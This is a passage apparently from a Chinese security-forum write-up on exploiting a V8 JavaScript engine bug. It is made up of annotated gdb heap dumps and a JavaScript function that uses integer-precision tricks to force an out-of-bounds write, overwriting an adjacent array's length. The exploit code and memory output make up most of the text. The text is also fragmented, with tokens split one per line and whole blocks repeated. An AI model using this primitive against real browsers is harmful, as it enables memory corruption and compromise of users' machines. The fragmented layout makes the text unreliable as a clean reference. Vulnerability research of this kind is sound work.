0x207369206874676e
0x3e7e89d3c1c8
:
0x00001cf6cec02539
0x00000000a41e9f2a
0x3e7e89d3c1d8
:
0x0000000900000000
0x73692065756c6156
0x3e7e89d3c1e8
:
0x0000000000000020
0x00001cf6cec02a49
(gdb) x
/
20gx
0x3e7e89d3c159
-
1
0x3e7e89d3c158
:
0x00000034b0f02931
0x00001cf6cec02d29
/
/
bug_arr JSArray: pointer to
map
, pointer to outline properties
0x3e7e89d3c168
:
0x000012b40ca867c9
0x0000000500000000
/
/
bug_arr JSArray: pointer to elements, length
0x3e7e89d3c178
:
0x00001cf6cec02539
0x000000005dc15cda
0x3e7e89d3c188
:
0x0000000900000000
0x7369207865646e49
0x3e7e89d3c198
:
0x0000000000000020
0x00001cf6cec02539
0x3e7e89d3c1a8
:
0x000000004c3556ba
0x0000001000000000
0x3e7e89d3c1b8
:
0x656c207961727241
0x207369206874676e
0x3e7e89d3c1c8
:
0x00001cf6cec02539
0x00000000a41e9f2a
0x3e7e89d3c1d8
:
0x0000000900000000
0x73692065756c6156
0x3e7e89d3c1e8
:
0x0000000000000020
0x00001cf6cec02a49
(gdb) x
/
20gx
0x000012b40ca867c9
-
1
0x12b40ca867c8
:
0x00001cf6cec03539
0x0000000500000000
/
/
bug_arr FixedDoubleArray: pointer to
Map
, length
0x12b40ca867d8
:
0x3ff199999999999a
0x400199999999999a
/
/
bug_arr FixedDoubleArray: element1
1.1
, element2
2.2
0x12b40ca867e8
:
0x400a666666666666
0x401199999999999a
/
/
bug_arr FixedDoubleArray: element3
3.3
, element4
4.4
0x12b40ca867f8
:
0x4016000000000000
0x00001cf6cec03539
/
/
bug_arr FixedDoubleArray: element5
5.5
arr2: pointer to
Map
0x12b40ca86808
:
0x0000000300000000
0x401a666666666666
/
/
oob_arr FixedDoubleArray: length【越界读】, element1
6.6
0x12b40ca86818
:
0x401ecccccccccccd
0x402199999999999a
/
/
oob_arr FixedDoubleArray: element2
7.7
, element3
8.8
0x12b40ca86828
:
0x00000034b0f02931
0x00001cf6cec02d29
/
/
oob_arr JSArray: pointer to
map
, pointer to outline properties
0x12b40ca86838
:
0x000012b40ca86801
0x0000000300000000
/
/
oob_arr JSArray: pointer to elements, length
0x12b40ca86848
:
0x00001cf6cec02641
0x0000000300000000
0x12b40ca86858
:
0x00001cf6cec02641
0x0000000300000000
(gdb) x
/
20gx
0x000012b40ca867c9
-
1
0x12b40ca867c8
:
0x00001cf6cec03539
0x0000000500000000
/
/
bug_arr FixedDoubleArray: pointer to
Map
, length
0x12b40ca867d8
:
0x3ff199999999999a
0x400199999999999a
/
/
bug_arr FixedDoubleArray: element1
1.1
, element2
2.2
0x12b40ca867e8
:
0x400a666666666666
0x401199999999999a
/
/
bug_arr FixedDoubleArray: element3
3.3
, element4
4.4
0x12b40ca867f8
:
0x4016000000000000
0x00001cf6cec03539
/
/
bug_arr FixedDoubleArray: element5
5.5
arr2: pointer to
Map
0x12b40ca86808
:
0x0000000300000000
0x401a666666666666
/
/
oob_arr FixedDoubleArray: length【越界读】, element1
6.6
0x12b40ca86818
:
0x401ecccccccccccd
0x402199999999999a
/
/
oob_arr FixedDoubleArray: element2
7.7
, element3
8.8
0x12b40ca86828
:
0x00000034b0f02931
0x00001cf6cec02d29
/
/
oob_arr JSArray: pointer to
map
, pointer to outline properties
0x12b40ca86838
:
0x000012b40ca86801
0x0000000300000000
/
/
oob_arr JSArray: pointer to elements, length
0x12b40ca86848
:
0x00001cf6cec02641
0x0000000300000000
0x12b40ca86858
:
0x00001cf6cec02641
0x0000000300000000
function try2(x) {
let bug_arr
=
[
1.1
,
1.1
,
1.1
,
1.1
,
1.1
];
oob_arr
=
[
2.2
,
2.2
];
let y
=
(x ?
18014398509481984
:
18014398509481978
)
y
=
y
+
2
+
2
;
y
=
y
-
18014398509481982
;
/
/
这里偏移是
6
或
2
y
=
y
*
2
;
/
/
*
2
偏移是
12
或
4
let v
=
bug_arr[y];
bug_arr[y]
=
i2f(
0x0000006400000000
);
if
(x) {
output(y, v, bug_arr);
%
DebugPrint(bug_arr);
%
DebugPrint(oob_arr);
}
return
v;
}
function try2(x) {
let bug_arr
=
[
1.1
,
1.1
,
1.1
,
1.1
,
1.1
];
oob_arr
=
[
2.2
,
2.2
];
let y
=
(x ?
18014398509481984
:
18014398509481978
)
y
=
y
+
2
+
2
;
y
=
y
-
18014398509481982
;
/
/
这里偏移是
6
或
2
y
=
y
*
2
;
/
/
*
2
偏移是
12
或
4
let v
=
bug_arr[y];
bug_arr[y]
=
i2f(
0x0000006400000000
);
if
(x) {
output(y, v, bug_arr);
%
DebugPrint(bug_arr);
%
DebugPrint(oob_arr);
}
return
v;
}
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2021-12-7 10:23
被LarryS编辑
,原因: 修改标题